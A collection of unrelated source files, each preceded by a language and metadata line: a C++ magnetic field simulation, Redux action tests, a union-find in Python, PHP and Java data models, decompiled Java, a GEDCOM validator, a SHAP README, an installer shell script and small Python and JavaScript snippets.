+y_length/4, +y_length/2 ); addtowire( coils[5], from, to, ndl ); } // wire at +x (going in -z) { TVector3 from( +y_length/2, +y_length/4, +y_length/2 ); TVector3 to ( +y_length/2, +y_length/4, -y_length/2 ); addtowire( coils[5], from, to, ndl ); } // wire at -z (going in -x) { TVector3 from( +y_length/2, +y_length/4, -y_length/2 ); TVector3 to ( -y_length/2, +y_length/4, -y_length/2 ); addtowire( coils[5], from, to, ndl ); } // wire at -x (going in +z) { TVector3 from( -y_length/2, +y_length/4, -y_length/2 ); TVector3 to ( -y_length/2, +y_length/4, +y_length/2 ); addtowire( coils[5], from, to, ndl ); } /// all the wires are made /// now setup BiotSavart objects for (int i=0; i< num_coils; ++i ){ double current = coil_voltages[i] / coil_resistances[i] * coil_turns[i]; bs[i].set_I( current ); bs[i].set_wire( coils[i] ); } } void PTFCoils::set_voltage( int iwire, double V){ double current = V / coil_resistances[iwire] * coil_turns[iwire]; bs[iwire].set_I( current ); } TVector3 PTFCoils::get_B( const TVector3 & p ) const{ TVector3 btot(0.,0.,0.); for (int icoil=0; icoil<num_coils; ++icoil){ btot += bs[icoil].get_B( p ); } return btot; } void plot_coils( const PTFCoils& ptfc ) { std::vector<double> x,y,z; for (int i=0; i<num_coils; ++i ){ const Wire& w = ptfc.get_wire_loop( i ); for ( const WireElement& we : w ){ TVector3 loc = we.get_rp(); x.push_back( loc.X() ); y.push_back( loc.Y() ); z.push_back( loc.Z() ); } } TGraph2D * tg2d = new TGraph2D( x.size(), &x[0], &y[0], &z[0] ); tg2d->SetName("tg_ptfcoilloc"); tg2d->SetTitle("PTF Coil Locations; X(m); Y(m); Z(m)"); tg2d->Write(); } void biotsavart(){ t2kstyle(); gStyle->SetPadRightMargin(0.2); gStyle->SetPadLeftMargin(0.3); gStyle->SetPadBottomMargin(0.2); // Output file TFile * fout = new TFile("ptf_bfield.root","recreate"); // Build PTF coils PTFCoils ptfc; // Change voltages on coils if (0){ ptfc.set_voltage( 0, 5.0 ); // plot per 5 amp ptfc.set_voltage( 1, 5.0 ); // plot per 5 amp ptfc.set_voltage( 2, 5.0 ); // plot per 5 amp ptfc.set_voltage( 3, 5.0 ); // plot per 5 amp ptfc.set_voltage( 4, 5.0 ); // plot per 5 amp ptfc.set_voltage( 5, 5.0 ); // plot per 5 amp } plot_coils( ptfc ); // plot locations of coils cout << ptfc << endl; // Make histograms of magnetic field std::string tag = "ptfc"; std::ostringstream os; // make histograms of magnetic field from PTF coils os.str(""); os.clear(); os << tag << "_hxyBx"; TH2D* hxyBx = new TH2D(os.str().c_str()," Bx (gauss); x (m); y (m) ",100,-x_length/2, x_length/2, 100, -y_length/2, y_length/2 ); os.str(""); os.clear(); os << tag << "_hxyBy"; TH2D* hxyBy = new TH2D(os.str().c_str()," By (gauss); x (m); y (m) ",100,-x_length/2, x_length/2, 100, -y_length/2, y_length/2 ); os.str(""); os.clear(); os << tag << "_hxyBz"; TH2D* hxyBz = new TH2D(os.str().c_str()," Bz (gauss); x (m); y (m) ",100,-x_length/2, x_length/2, 100, -y_length/2, y_length/2 ); os.str(""); os.clear(); os << tag << "_hxyB"; TH2D* hxyB = new TH2D(os.str().c_str()," B (gauss); x (m); y (m) " ,100,-x_length/2, x_length/2, 100, -y_length/2, y_length/2 ); for ( int ix=1; ix<=100; ++ix ){ for ( int iy=1; iy<=100; ++iy ){ double x = hxyBx->GetXaxis()->GetBinCenter( ix ); double y = hxyBx->GetYaxis()->GetBinCenter( iy ); TVector3 loc = TVector3{ x, y, 0.0 } ; TVector3 btot = ptfc.get_B( loc ) + BEarth; btot *= 1.0e4;//convert to gauss hxyBx->SetBinContent( ix, iy, btot.X() ); hxyBy->SetBinContent( ix, iy, btot.Y() ); hxyBz->SetBinContent( ix, iy, btot.Z() ); hxyB->SetBinContent( ix, iy, btot.Mag() ); } } hxyBx->SetMinimum( -2.0 ); hxyBx->UseCurrentStyle(); hxyBx->SetMaximum( 2.0 ); hxyBx->UseCurrentStyle(); hxyBy->SetMinimum( -2.0 ); hxyBy->UseCurrentStyle(); hxyBy->SetMaximum( 2.0 ); hxyBy->UseCurrentStyle(); hxyBz->SetMinimum( -2.0 ); hxyBz->UseCurrentStyle(); hxyBz->SetMaximum( 2.0 ); hxyBz->UseCurrentStyle(); hxyB ->SetMinimum( 0.0 ); hxyB ->UseCurrentStyle(); hxyB ->SetMaximum( 2.0 ); hxyB ->UseCurrentStyle(); TCanvas * cxy = new TCanvas("cxy","cxy",800,600); cxy->Divide(2,2); cxy->cd(1); hxyBx->Draw("colz"); cxy->cd(2); hxyBy->Draw("colz"); cxy->cd(3); hxyBz->Draw("colz"); cxy->cd(4); hxyB->Draw("colz"); cxy->Write(); os.str(""); os.clear(); os << tag << "_hyzBx"; TH2D* hyzBx = new TH2D(os.str().c_str()," Bx (gauss); y (m); z (m) ",100, -y_length/2, y_length/2, 100, -z_length/2, z_length/2 ); os.str(""); os.clear(); os << tag << "_hyzBy"; TH2D* hyzBy = new TH2D(os.str().c_str()," By (gauss); y (m); z (m) ",100, -y_length/2, y_length/2, 100, -z_length/2, z_length/2 ); os.str(""); os.clear(); os << tag << "_hyzBz"; TH2D* hyzBz = new TH2D(os.str().c_str()," Bz (gauss); y (m); z (m) ",100, -y_length/2, y_length/2, 100, -z_length/2, z_length/2 ); os.str(""); os.clear(); os << tag << "_hyzB"; TH2D* hyzB = new TH2D(os.str().c_str()," B (gauss); y (m); z (m) " ,100, -y_length/2, y_length/2, 100, -z_length/2, z_length/2 ); for ( int iy=1; iy<=100; ++iy ){ for ( int iz=1; iz<=100; ++iz ){ double y = hyzBx->GetXaxis()->GetBinCenter( iy ); double z = hyzBx->GetYaxis()->GetBinCenter( iz ); TVector3 loc = TVector3{ 0.0, y, z } ; TVector3 btot = ptfc.get_B( loc ) + BEarth; btot *= 1.0e4;//convert to gauss hyzBx->SetBinContent( iy, iz, btot.X() ); hyzBy->SetBinContent( iy, iz, btot.Y() ); hyzBz->SetBinContent( iy, iz, btot.Z() ); hyzB->SetBinContent( iy, iz, btot.Mag() ); } } hyzBx->SetMinimum( -2.0 ); hyzBx->UseCurrentStyle(); hyzBx->SetMaximum( 2.0 ); hyzBx->UseCurrentStyle(); hyzBy->SetMinimum( -2.0 ); hyzBy->UseCurrentStyle(); hyzBy->SetMaximum( 2.0 ); hyzBy->UseCurrentStyle(); hyzBz->SetMinimum( -2.0 ); hyzBz->UseCurrentStyle(); hyzBz->SetMaximum( 2.0 ); hyzBz->UseCurrentStyle(); hyzB ->SetMinimum( 0.0 ); hyzB ->UseCurrentStyle(); hyzB ->SetMaximum( 2.0 ); hyzB ->UseCurrentStyle(); TCanvas * cyz = new TCanvas("cyz","cyz",800,600); cyz->Divide(2,2); cyz->cd(1); hyzBx->Draw("colz"); cyz->cd(2); hyzBy->Draw("colz"); cyz->cd(3); hyzBz->Draw("colz"); cyz->cd(4); hyzB->Draw("colz"); cyz->Write(); os.str(""); os.clear(); os << tag << "_hzxBx"; TH2D* hzxBx = new TH2D(os.str().c_str()," Bx (gauss); z (m); x (m) ",100, -z_length/2, z_length/2, 100, -x_length/2, x_length/2 ); os.str(""); os.clear(); os << tag << "_hzxBy"; TH2D* hzxBy = new TH2D(os.str().c_str()," By (gauss); z (m); x (m) ",100, -z_length/2, z_length/2, 100, -x_length/2, x_length/2 ); os.str(""); os.clear(); os << tag << "_hzxBz"; TH2D* hzxBz = new TH2D(os.str().c_str()," Bz (gauss); z (m); x (m) ",100, -z_length/2, z_length/2, 100, -x_length/2, x_length/2 ); os.str(""); os.clear(); os << tag << "_hzxB"; TH2D* hzxB = new TH2D(os.str().c_str()," B (gauss); z (m); x (m) " ,100, -z_length/2, z_length/2, 100, -x_length/2, x_length/2 ); for ( int iz=1; iz<=100; ++iz ){ for ( int ix=1; ix<=100; ++ix ){ double z = hzxBx->GetXaxis()->GetBinCenter( iz ); double x = hzxBx->GetYaxis()->GetBinCenter( ix ); TVector3 loc = TVector3{ x, 0, z } ; TVector3 btot = ptfc.get_B( loc ) + BEarth; btot *= 1.0e4;//convert to gauss hzxBx->SetBinContent( iz, ix, btot.X() ); hzxBy->SetBinContent( iz, ix, btot.Y() ); hzxBz->SetBinContent( iz, ix, btot.Z() ); hzxB->SetBinContent( iz, ix, btot.Mag() ); } } hzxBx->SetMinimum( -2.0 ); hzxBx->UseCurrentStyle(); hzxBx->SetMaximum( 2.0 ); hzxBx->UseCurrentStyle(); hzxBy->SetMinimum( -2.0 ); hzxBy->UseCurrentStyle(); hzxBy->SetMaximum( 2.0 ); hzxBy->UseCurrentStyle(); hzxBz->SetMinimum( -2.0 ); hzxBz->UseCurrentStyle(); hzxBz->SetMaximum( 2.0 ); hzxBz->UseCurrentStyle(); hzxB ->SetMinimum( 0.0 ); hzxB ->UseCurrentStyle(); hzxB ->SetMaximum( 2.0 ); hzxB ->UseCurrentStyle(); TCanvas * czx = new TCanvas("czx","czx",800,600); czx->Divide(2,2); czx->cd(1); hzxBx->Draw("colz"); czx->cd(2); hzxBy->Draw("colz"); czx->cd(3); hzxBz->Draw("colz"); czx->cd(4); hzxB->Draw("colz"); czx->Write(); fout->Write(); fout->Close(); } int main(){ biotsavart(); return 0; }
TypeScript
UTF-8
1,780
2.8125
3
[]
no_license
import { signInMethodsActions, SignInMethodsActionTypes, GET_METHODS_START, GET_METHODS_SUCCESS, GET_METHODS_FAILURE, ADD_METHOD, REMOVE_METHOD } from "../signInMethods"; describe("signInMethods actions", () => { it("should create and action to start signInMethods saga", () => { const email = "test@gmail.com"; const expectedAction: SignInMethodsActionTypes = { type: GET_METHODS_START, email }; expect(signInMethodsActions.getMethodsStart(email)).toEqual(expectedAction); }); it("should create an action to add signInMethods", () => { const signInMethods = ["google.com", "password"]; const expectedAction: SignInMethodsActionTypes = { type: GET_METHODS_SUCCESS, signInMethods }; expect(signInMethodsActions.getMethodsSuccess(signInMethods)).toEqual( expectedAction ); }); it("should create an action to add an error when fetching signInMethods fails", () => { const error = "get signInMethods failure"; const expectedAction: SignInMethodsActionTypes = { type: GET_METHODS_FAILURE, error }; expect(signInMethodsActions.getMethodsFailure(error)).toEqual( expectedAction ); }); it("should create an action to add a sign in method", () => { const method = "google.com"; const expectedAction: SignInMethodsActionTypes = { type: ADD_METHOD, method }; expect(signInMethodsActions.addMethod(method)).toEqual(expectedAction); }); it("should create an action to remove a sign in method", () => { const method = "google.com"; const expectedAction: SignInMethodsActionTypes = { type: REMOVE_METHOD, method }; expect(signInMethodsActions.removeMethod(method)).toEqual(expectedAction); }); });
Python
UTF-8
1,348
4.03125
4
[]
no_license
''' Data Structure: integer array id[] of length N Interpretation: p and q are connected iff they have the same id Find: Check if p and q have the same id Union: To merge components containing p and q, change all entries whose id equals id[p] to id[q] ''' class QuickFindUF: def __init__(self, N): self.objects = [] for i in range(N): self.objects.append(i) def connected(self, p,q): return self.objects[p] == self.objects[q] def union(self, p,q) : pid = self.objects[p] qid = self.objects[q] for i in range(len(self.objects)): if (self.objects[i] == pid): self.objects[i] = qid if __name__ == '__main__': N = input("Enter N - number of objects: ") uf = QuickFindUF(int(N)) input_pair=[] while input_pair != "x": input_pair = input("Enter pair of numbers separated with comma (x to terminate): ") if (input_pair !="x"): input_pair = input_pair.split(sep=",") p = int(input_pair [0]) q = int(input_pair [1]) if(not uf.connected(p,q)): uf.union(p,q) print("Connected {p} and {q}".format(p=p, q=q)) else: print("Already connected {p} and {q}".format(p=p, q=q))
PHP
UTF-8
4,807
2.8125
3
[ "MIT" ]
permissive
<?php namespace app\social\models; use Infuse\Utility as U; use Pulsar\ACLModel; use Pulsar\Model; abstract class SocialMediaProfile extends ACLModel { public static $scaffoldApi; public static $autoTimestamps; protected function hasPermission($permission, Model $requester) { if ($permission == 'create') { return true; } $idProp = $this->userPropertyForProfileId(); if (in_array($permission, ['view', 'edit']) && $this->id() == $requester->$idProp) { return true; } return $requester->isAdmin(); } public function preCreateHook(&$data) { // check if updating profile properties from API $apiPropertyKeys = array_keys($this->apiPropertyMapping()); foreach ($data as $property => $value) { if (in_array($property, $apiPropertyKeys)) { $data['last_refreshed'] = time(); break; } } return true; } public function preSetHook(&$data) { // check if updating profile properties from API $apiPropertyKeys = array_keys($this->apiPropertyMapping()); foreach ($data as $property => $value) { if (in_array($property, $apiPropertyKeys)) { $data['last_refreshed'] = time(); break; } } return true; } /** * Gets the property name that matches this profile's ID off the User object * i.e. twitter_id, facebook_id, instagram_id. * * @return string property name */ abstract public function userPropertyForProfileId(); /** * Map of API properties that correspond with profile properties * [ 'model_property' => 'api_property' ]. * * @return array */ abstract public function apiPropertyMapping(); /** * Gets the number of days until the profile is considered stale and * must be refreshed from the API. * * @return int days */ abstract public function daysUntilStale(); /** * Gets the number of profiles to refresh at once in order to preven bumping * into rate limiting or running forever. * * @return int */ abstract public function numProfilesToRefresh(); /** * Gets the URL of the profile. * * @return bool */ abstract public function url(); /** * Generates the URL for the profile's picture. * * @param int $size size of the picture (it is square, usually) * * @return string url */ abstract public function profilePicture($size = 80); /** * Checks if InspireVive is authenticated for the profile. * * @return bool */ abstract public function isLoggedIn(); /** * Fetches the profile from the API. * * @return array|false */ abstract public function getProfileFromApi(); /** * Refreshes this profile using the API of the social network. * * @param array $userProfile optional user profile * * @return bool */ public function refreshProfile(array $userProfile = []) { if (count($userProfile) == 0) { $userProfile = $this->getProfileFromApi(); } $success = false; if (is_array($userProfile)) { $info = $this->mapPropertiesFromApi($userProfile); $this->grantAllPermissions(); $success = $this->set($info); $this->enforcePermissions(); } return $success; } /** * Refreshes stale twitter profiles. One call currently only refreshes * 180 profiles to minimize bumping into twitter's rate limiting. * * @return bool */ public static function refreshProfiles() { $profile = new static(); $staleDate = time() - ($profile->daysUntilStale() * 86400); $profiles = static::findAll([ 'where' => [ 'access_token <> ""', 'last_refreshed < '.$staleDate, ], 'limit' => $profile->numProfilesToRefresh(), 'sortBy' => 'last_refreshed DESC', ]); foreach ($profiles as $profile) { $profile->refreshProfile(); } return true; } /** * Maps the properties of the user profile from the API * to the properties in our model. * * @param array $user_profile user profile from API * * @return array */ protected function mapPropertiesFromApi(array $user_profile) { $info = []; foreach ($this->apiPropertyMapping() as $modelProperty => $apiProperty) { $info[ $modelProperty ] = U::array_value($user_profile, $apiProperty); } return $info; } }
Java
UTF-8
5,156
1.625
2
[ "MIT" ]
permissive
// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov. // Jad home page: http://www.kpdus.com/jad.html // Decompiler options: packimports(3) annotate safe package com.apollographql.apollo.internal; // Referenced classes of package com.apollographql.apollo.internal: // RealApolloCall, CallState static class RealApolloCall$3 { static final int $SwitchMap$com$apollographql$apollo$interceptor$ApolloInterceptor$FetchSourceType[]; static final int $SwitchMap$com$apollographql$apollo$internal$CallState[]; static { $SwitchMap$com$apollographql$apollo$interceptor$ApolloInterceptor$FetchSourceType = new int[com.apollographql.apollo.interceptor..FetchSourceType.values().length]; // 0 0:invokestatic #19 <Method com.apollographql.apollo.interceptor.ApolloInterceptor$FetchSourceType[] com.apollographql.apollo.interceptor.ApolloInterceptor$FetchSourceType.values()> // 1 3:arraylength // 2 4:newarray int[] // 3 6:putstatic #21 <Field int[] $SwitchMap$com$apollographql$apollo$interceptor$ApolloInterceptor$FetchSourceType> try { $SwitchMap$com$apollographql$apollo$interceptor$ApolloInterceptor$FetchSourceType[com.apollographql.apollo.interceptor..FetchSourceType.CACHE.ordinal()] = 1; // 4 9:getstatic #21 <Field int[] $SwitchMap$com$apollographql$apollo$interceptor$ApolloInterceptor$FetchSourceType> // 5 12:getstatic #25 <Field com.apollographql.apollo.interceptor.ApolloInterceptor$FetchSourceType com.apollographql.apollo.interceptor.ApolloInterceptor$FetchSourceType.CACHE> // 6 15:invokevirtual #29 <Method int com.apollographql.apollo.interceptor.ApolloInterceptor$FetchSourceType.ordinal()> // 7 18:iconst_1 // 8 19:iastore } //* 9 20:getstatic #21 <Field int[] $SwitchMap$com$apollographql$apollo$interceptor$ApolloInterceptor$FetchSourceType> //* 10 23:getstatic #32 <Field com.apollographql.apollo.interceptor.ApolloInterceptor$FetchSourceType com.apollographql.apollo.interceptor.ApolloInterceptor$FetchSourceType.NETWORK> //* 11 26:invokevirtual #29 <Method int com.apollographql.apollo.interceptor.ApolloInterceptor$FetchSourceType.ordinal()> //* 12 29:iconst_2 //* 13 30:iastore //* 14 31:invokestatic #37 <Method CallState[] CallState.values()> //* 15 34:arraylength //* 16 35:newarray int[] //* 17 37:putstatic #39 <Field int[] $SwitchMap$com$apollographql$apollo$internal$CallState> //* 18 40:getstatic #39 <Field int[] $SwitchMap$com$apollographql$apollo$internal$CallState> //* 19 43:getstatic #43 <Field CallState CallState.ACTIVE> //* 20 46:invokevirtual #44 <Method int CallState.ordinal()> //* 21 49:iconst_1 //* 22 50:iastore //* 23 51:getstatic #39 <Field int[] $SwitchMap$com$apollographql$apollo$internal$CallState> //* 24 54:getstatic #47 <Field CallState CallState.IDLE> //* 25 57:invokevirtual #44 <Method int CallState.ordinal()> //* 26 60:iconst_2 //* 27 61:iastore //* 28 62:getstatic #39 <Field int[] $SwitchMap$com$apollographql$apollo$internal$CallState> //* 29 65:getstatic #50 <Field CallState CallState.CANCELED> //* 30 68:invokevirtual #44 <Method int CallState.ordinal()> //* 31 71:iconst_3 //* 32 72:iastore //* 33 73:getstatic #39 <Field int[] $SwitchMap$com$apollographql$apollo$internal$CallState> //* 34 76:getstatic #53 <Field CallState CallState.TERMINATED> //* 35 79:invokevirtual #44 <Method int CallState.ordinal()> //* 36 82:iconst_4 //* 37 83:iastore //* 38 84:return catch(NoSuchFieldError nosuchfielderror) { } // 39 85:astore_0 try { $SwitchMap$com$apollographql$apollo$interceptor$ApolloInterceptor$FetchSourceType[com.apollographql.apollo.interceptor..FetchSourceType.NETWORK.ordinal()] = 2; } //* 40 86:goto 20 catch(NoSuchFieldError nosuchfielderror1) { } // 41 89:astore_0 $SwitchMap$com$apollographql$apollo$internal$CallState = new int[CallState.values().length]; try { $SwitchMap$com$apollographql$apollo$internal$CallState[CallState.ACTIVE.ordinal()] = 1; } //* 42 90:goto 31 catch(NoSuchFieldError nosuchfielderror2) { } // 43 93:astore_0 try { $SwitchMap$com$apollographql$apollo$internal$CallState[CallState.IDLE.ordinal()] = 2; } //* 44 94:goto 51 catch(NoSuchFieldError nosuchfielderror3) { } // 45 97:astore_0 try { $SwitchMap$com$apollographql$apollo$internal$CallState[CallState.CANCELED.ordinal()] = 3; } //* 46 98:goto 62 catch(NoSuchFieldError nosuchfielderror4) { } // 47 101:astore_0 try { $SwitchMap$com$apollographql$apollo$internal$CallState[CallState.TERMINATED.ordinal()] = 4; } //* 48 102:goto 73 catch(NoSuchFieldError nosuchfielderror5) { } // 49 105:astore_0 //* 50 106:return } }
Java
UTF-8
5,097
2.21875
2
[ "MIT" ]
permissive
package cn.mutils.app.demo.net; import android.content.Context; import proguard.annotation.Keep; import proguard.annotation.KeepClassMembers; import cn.mutils.app.demo.net.WeatherTask.WeatherReq; import cn.mutils.app.demo.net.WeatherTask.WeatherRes; import cn.mutils.core.annotation.Format; import cn.mutils.core.annotation.Name; import cn.mutils.core.annotation.Primitive; import cn.mutils.core.annotation.PrimitiveType; import cn.mutils.core.time.DateTime; @SuppressWarnings("serial") public class WeatherTask extends BasicTask<WeatherReq, WeatherRes> { @Keep @KeepClassMembers public static class WeatherReq extends BasicRequest { protected String mCitypinyin; public String getCitypinyin() { return mCitypinyin; } public void setCitypinyin(String citypinyin) { mCitypinyin = citypinyin; } } @Keep @KeepClassMembers public static class WeatherRes extends BasicResponse { protected WeatherRet mRetData; public WeatherRet getRetData() { return mRetData; } public void setRetData(WeatherRet retData) { mRetData = retData; } } @Keep @KeepClassMembers public static class WeatherRet { protected String mCity; protected String mPinyin; protected String mCitycode; protected DateTime mDate; protected DateTime mTime; protected String mPostCode; protected double mLongitude; protected double mLatitude; protected String mAltitude; protected String mWeather; protected String mTemp; protected String mL_tmp; protected String mH_tmp; protected String mWD; protected String mWS; protected String mSunrise; protected String mSunset; public String getCity() { return mCity; } public void setCity(String city) { mCity = city; } public String getPinyin() { return mPinyin; } public void setPinyin(String pinyin) { mPinyin = pinyin; } public String getCitycode() { return mCitycode; } public void setCitycode(String citycode) { mCitycode = citycode; } @Primitive(PrimitiveType.STRING) @Format("yy-MM-dd") public DateTime getDate() { return mDate; } public void setDate(DateTime date) { mDate = date; } @Primitive(PrimitiveType.STRING) @Format("HH:mm") public DateTime getTime() { return mTime; } public void setTime(DateTime time) { mTime = time; } public String getPostCode() { return mPostCode; } public void setPostCode(String postCode) { mPostCode = postCode; } public double getLongitude() { return mLongitude; } public void setLongitude(double longitude) { mLongitude = longitude; } public double getLatitude() { return mLatitude; } public void setLatitude(double latitude) { mLatitude = latitude; } public String getAltitude() { return mAltitude; } public void setAltitude(String altitude) { mAltitude = altitude; } public String getWeather() { return mWeather; } public void setWeather(String weather) { mWeather = weather; } public String getTemp() { return mTemp; } public void setTemp(String temp) { mTemp = temp; } public String getL_tmp() { return mL_tmp; } public void setL_tmp(String l_tmp) { mL_tmp = l_tmp; } public String getH_tmp() { return mH_tmp; } public void setH_tmp(String h_tmp) { mH_tmp = h_tmp; } @Name("WD") public String getWD() { return mWD; } public void setWD(String WD) { mWD = WD; } @Name("WD") public String getWS() { return mWS; } public void setWS(String WS) { mWS = WS; } public String getSunrise() { return mSunrise; } public void setSunrise(String sunrise) { mSunrise = sunrise; } public String getSunset() { return mSunset; } public void setSunset(String sunset) { mSunset = sunset; } } @Override public void setContext(Context context) { super.setContext(context); setUrl("http://apis.baidu.com/apistore/weatherservice/weather"); } @Override protected void debugging(String event, String message) { super.debugging(event, message); } }
Java
UTF-8
3,252
3.0625
3
[]
no_license
package gedcomlint; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.Date; import java.util.List; public class US_05_06_Validations { public void validateMarriageBeforeDeath(List<Individual> allIndividuals, List<Family> allFamilies) throws ParseException { for(Family fam : allFamilies) { if(hasMarriageDate(fam)) { Individual husband = getIndividualFromId(allIndividuals, fam.getHusbandId()); Individual wife = getIndividualFromId(allIndividuals, fam.getWifeId()); if( hasDeathDate(husband) ) { if ( isGreater(fam.getMarriageDate(), husband.getDeathDate()) ) { System.out.println("ERROR: FAMILY: US05: " + fam.id + ": Marriage date " + fam.getMarriageDate() + " occurs after the death date of husband ( "+ husband.getDeathDate() +") having id : " + husband.id + "."); } } if( hasDeathDate(wife) ) { if ( isGreater(fam.getMarriageDate(), wife.getDeathDate()) ) { System.out.println("ERROR: FAMILY: US05: " + fam.id + ": Marriage date " + fam.getMarriageDate() + " occurs after the death date of wife ( "+ wife.getDeathDate() +") having id : " + wife.id + "."); } } } } } public void validateDivorceBeforeDeath(List<Individual> allIndividuals, List<Family> allFamilies) throws ParseException { for(Family fam : allFamilies) { if(hasDivorceDate(fam)) { Individual husband = getIndividualFromId(allIndividuals, fam.getHusbandId()); Individual wife = getIndividualFromId(allIndividuals, fam.getWifeId()); if( hasDeathDate(husband) ) { if ( isGreater(fam.getDivorceDate(), husband.getDeathDate()) ) { System.out.println("ERROR: FAMILY: US05: " + fam.id + ": Divorce date " + fam.getDivorceDate() + " occurs after the death date of husband ( "+ husband.getDeathDate() +") having id : " + husband.id + "."); } } if( hasDeathDate(wife) ) { if ( isGreater(fam.getDivorceDate(), wife.getDeathDate()) ) { System.out.println("ERROR: FAMILY: US05: " + fam.id + ": Marriage date " + fam.getDivorceDate() + " occurs after the death date of wife ( "+ wife.getDeathDate() +") having id : " + wife.id + "."); } } } } } public boolean hasMarriageDate(Family fam) throws ParseException { return !fam.getMarriageDate().equals("NA"); } public boolean hasDivorceDate(Family fam) throws ParseException { return !fam.getDivorceDate().equals("NA"); } public boolean hasDeathDate(Individual indv) throws ParseException { return !indv.getDeathDate().equals("NA"); } public Individual getIndividualFromId(List<Individual> allIndividuals, String id) { if(id == null) return null; for(Individual indv : allIndividuals) { if(indv.getId().equals(id)) { return indv; } } return null; } public boolean isGreater(String date1, String date2) throws ParseException { SimpleDateFormat sdf = new SimpleDateFormat("dd MMM yyyy"); if(date1 != null && date2 != null) { Date d1 = sdf.parse(date1); Date d2 = sdf.parse(date2); if( d1.compareTo(d2) > 0 ) { return true; } } return false; } }
Markdown
UTF-8
1,579
2.71875
3
[]
no_license
# About This is a trivial application of SHAP (SHapley Additive exPlanations: https://github.com/slundberg/shap) to analysis under relatively small memory machine environment like Google colab. This ongoing project tries to mitigate severe memory-consumptions during SHAP calculations of large scale data without affecting computational complexity. Because this is a personal project, contents are to be modified Without notice. # Outline of algorithm 0. Preparing input-datasets(Numpy array for features(X) and a target(y)) 1. Training models(LightGBM: https://github.com/microsoft/LightGBM) from full-records data(with cross-validation and averaging for enhancing statistical significance and generalization performance) 2. Splitting Full-records data into chunks of an empirically determined size(maximal records maintaining memory stability) 3. Predicting SHAP values and target values 4. Concatenating chunks and averaging over models(averaging is in step by step manner to spare memory space) 5. Converting results into Pandas Dataframe 6. Appending unique-keys if necessary # How to use(Example: binary classification) `import shap_app` `from shap_app import SHAP_Calculation` `params = { "max_bin": 512, "learning_rate": 0.05, "boosting_type": "gbdt", "objective": "binary", "num_leaves": 10, "verbose": -1, "min_data": 10, "boost_from_average": True, "metric": 'auc' }` `cv_cnt = 5` `SHAP_lgbm = SHAP_Calculation(X, y)` `SHAP_lgbm.training_model(cv_cnt, params)` `shap = SHAP_lgbm.SHAP_Calculation()`
Shell
UTF-8
2,766
3.453125
3
[]
no_license
# OpenMeasure install error=0 OS="/"unknown/"" # must be run as root if [ $EUID -ne 0 ]; then echo "This script must be run as root" 1>&2 exit 1 fi # check for dependencies: echo "" echo "Checking for dependencies..." echo "" # python3 hash python3 &> /dev/null if [ $? -eq 1 ]; then echo "" echo >&2 "***** DEPENDENCY ERROR *****" echo "\"python3\" is required, please run the installation script again after installing this dependency..." echo "" exit 1 else echo "...python3 found!" fi # ping hash ping &> /dev/null if [ $? -eq 1 ]; then echo "" echo >&2 "***** DEPENDENCY ERROR *****" echo "\"ping\" is required, please run the installation script again after installing this dependency..." echo "" exit 1 else echo "...ping found!" fi # iperf3 hash iperf3 &> /dev/null if [ $? -eq 1 ]; then echo "" echo >&2 "***** DEPENDENCY ERROR *****" echo "\"iperf3\" is required, please run the installation script again after installing this dependency..." echo "" exit 1 else echo "...iperf3 found!" fi # numpy if python3 -c 'import pkgutil; exit(not pkgutil.find_loader("numpy"))'; then echo '...numpy found!' else echo "" echo >&2 "***** DEPENDENCY ERROR *****" echo "\"numpy\" python module is required, please run the installation script again after installing this dependency..." echo "" exit 1 fi # pandas if python3 -c 'import pkgutil; exit(not pkgutil.find_loader("pandas"))'; then echo '...pandas found!' else echo "" echo >&2 "***** DEPENDENCY ERROR *****" echo "\"pandas\" python module is required, please run the installation script again after installing this dependency..." echo "" exit 1 fi # flask if python3 -c 'import pkgutil; exit(not pkgutil.find_loader("flask"))'; then echo '...flask found!' else echo "" echo >&2 "***** DEPENDENCY ERROR *****" echo "\"flask\" python module is required, please run the installation script again after installing this dependency..." echo "" exit 1 fi # requests if python3 -c 'import pkgutil; exit(not pkgutil.find_loader("requests"))'; then echo '...requests found!' else echo "" echo >&2 "***** DEPENDENCY ERROR *****" echo "\"requests\" python module is required, please run the installation script again after installing this dependency..." echo "" exit 1 fi # create OpenMeasure directories mkdir /opt/openmeasure # copy over OpenMeasure files cp -rf ./* /opt/openmeasure #-------------------DONE---------- echo "" echo "OpenMeasure has been successfully installed!" echo "To start OpenMeasure, run \"sudo python3 /opt/openmeasure.py\"" echo "The OpenMeasure python API is located at /opt/openmeasure/libs" echo ""
Python
UTF-8
1,770
2.71875
3
[]
no_license
from Crud import Crud from Types import User, UserRequest, DatabaseColumn, DatabaseTable, InsertRequest hasLablesColumn, textIdenfifierColumn = DatabaseColumn( "has_lables", "boolean"), DatabaseColumn("text_identifier", "varchar(4)") class UserService(Crud): def __init__(self, cursor: any, dbConnection, logger, activate): Crud.__init__(self, DatabaseTable( name="users", columns=[ hasLablesColumn, textIdenfifierColumn ]), cursor=cursor, dbConnection=dbConnection, logger=logger, activate=activate) self.users = [] self.logger = logger def init(self): self.users = self.fetchUsers() def fetchUsers(self): return self.serializeArray(self.getAll()) def serialize(self, data): # column order defined in line 4 return User(id=data[0], textIdentifier=data[2], hasLables=data[1]) def serializeArray(self, data): return [self.serialize(user) for user in data] def getInMemory(self, user: UserRequest): for inMemUser in self.users: if (inMemUser.textIdentifier == user.textIdentifier): return inMemUser return None def create(self, user: UserRequest): user = self.insert([ InsertRequest(column=textIdenfifierColumn, value=user.textIdentifier), InsertRequest(column=hasLablesColumn, value=user.hasLables)]) self.users.append(user) return user def getOrCreate(self, user: UserRequest): inMemUser = self.getInMemory(user) if (inMemUser == None): self.logger.info("User does not exist, creating") return self.create(user) self.logger.info("User exists in cache") return inMemUser
JavaScript
UTF-8
300
3.6875
4
[]
no_license
// Có 2 cách tạo object: // Contructor Function và keyvalue. var student = { 0:"12", 1:"cheng", length :3 } for (let index = 0; index < student.length; index++) { console.log(student[index]); } var Person = { name:"cheng", id:"01" } console.log(typeof Person);
C#
UTF-8
2,525
2.828125
3
[]
no_license
